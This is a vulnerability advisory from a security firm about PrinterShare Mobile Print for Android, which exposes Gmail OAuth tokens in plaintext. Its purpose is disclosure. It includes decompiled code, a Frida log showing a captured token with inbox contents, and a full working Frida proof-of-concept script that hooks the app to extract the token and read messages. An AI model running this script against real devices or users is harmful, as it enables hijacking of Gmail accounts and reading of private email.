Skip to main content
Security Advisory

Mobile Dynamix PrinterShare Mobile Print Gmail Oauth Token Disclosure

Advisory ID
KL-001-2025-003
Published
2025-05-22
Vendor
Mobile Dynamix

Affected Systems

Product
PrinterShare Mobile Print
Version
up to 12.15.01
Platform
Android

Discovered By

Felix Segoviano (KoreLogic)
Download (signed .txt)

Vulnerability Details

Affected Vendor: Mobile Dynamix
Affected Product: PrinterShare Mobile Print
Affected Version: up to 12.15.01
Platform: Android
CWE Classification: CWE-359: Exposure of Private Personal Information to an Unauthorized Actor, CWE-313: Cleartext Storage in a File or on Disk
CVE ID: CVE-2025-5098

Vulnerability Description

PrinterShare Android application allows the capture of Gmail authentication tokens that can be reused to access a user’s Gmail account without proper authorization.

Technical Description

  • Performed on Android 13 aarch64 - Samsung Rooted (Galaxy Tab A7 Lite)
  • Using Frida client on Ubuntu 24.04 LTS - Frida server on Samsung Rooted Device.
  • Playstore location: https://play.google.com/store/apps/details?id=com.dynamixsoftware.printershare&hl=en-US
  • The target Activity is exported true. Which means any application may interact with it, given that permissions are provided.
  • The attacking host needs to attach the device email to the application - this can be done by simply opening the application and clicking ‘Gmail’. Then choose the account to be used by the application.

The vulnerability is initiated in the ActivityGmail.java activity. But is reintroduced in the ActivityGmailConversation.java. As such, the attacking host can capture the authentication token for Gmail and compromise the confidentiality of the inbox.

Token Leakage in ActivityGmail.java:

  public void J(String str) {
      this.f4859p = strArr;
      strArr[0] = str;  // Account email
      strArr[1] = bundle.getString("authtoken");  // OAuth token stored in plaintext
  }

And reintroduced in the ActivityGmailConversation.java:

  String[] strArr = this.f4899l;
  if (strArr != null && strArr.length == 2) {
      this.f4902o = intent.getExtras().getLong("s_label_id");
      this.f4903p = intent.getExtras().getLong("u_label_id");
      String[] c3 = F.a.c(this.f4899l);
      // Token reused here for cookie authentication
      cookieManager2.setCookie("mail.google.com", c3[1]);
  }

Demonstrating the leaking of memory by running the frida script. This first captures the authtoken, then uses the token to leak the Gmail inbox of the device owner.

  [SM T220::com.dynamixsoftware.printershare ]-> [*] Starting Fixed Gmail Monitor with Token Tracking
  [+] Found ActivityGmail class
  [*] Hooks installed with token monitoring
  [*] Launching Gmail activity
  [*] Gmail Activity onCreate called
  [*] Authentication started for account: redacted@gmail.com
  [+] Auth Token Found in Bundle: g.a000tQh5vDPCLJf2wPtT95aN7sn2msxMRMMjlUs2SKsQl0rSSXAaODTrDtQyLsUB[REDACTED]
  [*] Message loading thread started
  [-] Error accessing thread data: cannot read property 'value' of undefined
  [*] Message loading completed
  [+] View data at position 0:
      Conversation ID: undefined
      Messages: undefined
      Labels: undefined
      From: >> firebase-noreply
      Content: [Firebase] Client access to your Cloud Firestore database has expired - ...SNIP...
      Date: Feb 17
  [+] View data at position 1:
      Conversation ID: undefined
      Messages: undefined
      Labels: undefined
      From: >> Me
      Content: testtwo - here ya go email auto sync to app
      Date: Feb 17
  [+] View data at position 2:
      Conversation ID: undefined
      Messages: undefined
      Labels: undefined
      From: >> Me
      Content: test - test
      Date: Feb 17

Mitigation and Remediation Recommendation

No response from vendor. There are no known mitigations to end-users of the affected application versions.

Credit

This vulnerability was discovered by Felix Segoviano of KoreLogic, Inc.

Proof of Concept

[exploit.js]

Java.perform(function () {
  console.log('[*] Starting Fixed Gmail Monitor with Token Tracking');

  var ActivityGmail = Java.use('com.dynamixsoftware.printershare.ActivityGmail');
  console.log('[+] Found ActivityGmail class');

  // Add token monitoring
  ActivityGmail.J.implementation = function (str) {
    console.log('[*] Authentication started for account:', str);
    var result = this.J(str);

    // Monitor the auth token after authentication
    try {
      var creds = this.f4859p;
      if (creds && creds.value && creds.value.length > 1) {
        console.log('[+] Auth Token Leaked:', creds.value[1]);
      }
    } catch (e) {
      console.log('[-] Error accessing token:', e.message || e);
    }
    return result;
  };

  // Monitor Bundle getString operations for additional token leaks
  var Bundle = Java.use('android.os.Bundle');
  Bundle.getString.overload('java.lang.String').implementation = function (key) {
    var value = this.getString(key);
    if (key === 'authtoken') {
      console.log('[+] Auth Token Found in Bundle:', value);
    }
    return value;
  };

  // Existing hooks remain unchanged
  ActivityGmail.onCreate.implementation = function (bundle) {
    console.log('[*] Gmail Activity onCreate called');
    this.onCreate(bundle);
  };

  var adapterClass = Java.use('com.dynamixsoftware.printershare.ActivityGmail$l');
  adapterClass.getView.implementation = function (position, convertView, parent) {
    var view = this.getView(position, convertView, parent);
    try {
      var tagData = view.getTag();
      if (tagData) {
        var strArray = Java.cast(tagData, Java.use('[Ljava.lang.String;'));
        console.log('[+] View data at position ' + position + ':');
        console.log('    Conversation ID: ' + strArray[0]);
        console.log('    Messages: ' + strArray[1]);
        console.log('    Labels: ' + strArray[2]);
      }

      var fromView = view.findViewById(
        view
          .getContext()
          .getResources()
          .getIdentifier('from', 'id', 'com.dynamixsoftware.printershare'),
      );
      var snippetView = view.findViewById(
        view
          .getContext()
          .getResources()
          .getIdentifier('snippet', 'id', 'com.dynamixsoftware.printershare'),
      );
      var dateView = view.findViewById(
        view
          .getContext()
          .getResources()
          .getIdentifier('date', 'id', 'com.dynamixsoftware.printershare'),
      );

      if (fromView && snippetView && dateView) {
        console.log(
          '    From: ' + Java.cast(fromView, Java.use('android.widget.TextView')).getText(),
        );
        console.log(
          '    Content: ' + Java.cast(snippetView, Java.use('android.widget.TextView')).getText(),
        );
        console.log(
          '    Date: ' + Java.cast(dateView, Java.use('android.widget.TextView')).getText(),
        );
      }
    } catch (e) {
      console.log('[-] Error accessing view data:', e.message || e);
    }
    return view;
  };

  var threadClass = Java.use('com.dynamixsoftware.printershare.ActivityGmail$b');
  threadClass.run.implementation = function () {
    console.log('[*] Message loading thread started');
    try {
      var parentActivity = this.this$0.value;
      if (parentActivity) {
        var vector = parentActivity.f4852i;
        if (vector) {
          console.log('[+] Message vector found');
        }
      }
    } catch (e) {
      console.log('[-] Error accessing thread data:', e.message || e);
    }
    this.run();
    console.log('[*] Message loading completed');
  };

  // Launch the activity
  Java.scheduleOnMainThread(function () {
    try {
      console.log('[*] Launching Gmail activity');
      var currentApplication = Java.use('android.app.ActivityThread').currentApplication();
      var context = currentApplication.getApplicationContext();
      var Intent = Java.use('android.content.Intent');
      var intent = Intent.$new();
      intent.setClass(context, ActivityGmail.class);
      intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.value);
      context.startActivity(intent);
    } catch (e) {
      console.log('[-] Launch error:', e.message || e);
    }
  });

  console.log('[*] Hooks installed with token monitoring');
});

The contents of this advisory are copyright(c) 2025 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Disclosure Timeline

KoreLogic requests security contact from vendor via {info,support}@mobiledynamix.com.

KoreLogic requests security contact from vendor via {info,support}@mobiledynamix.com.

KoreLogic submits vulnerability details to vendor via {info,support}@mobiledynamix.com.

KoreLogic public disclosure.

Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable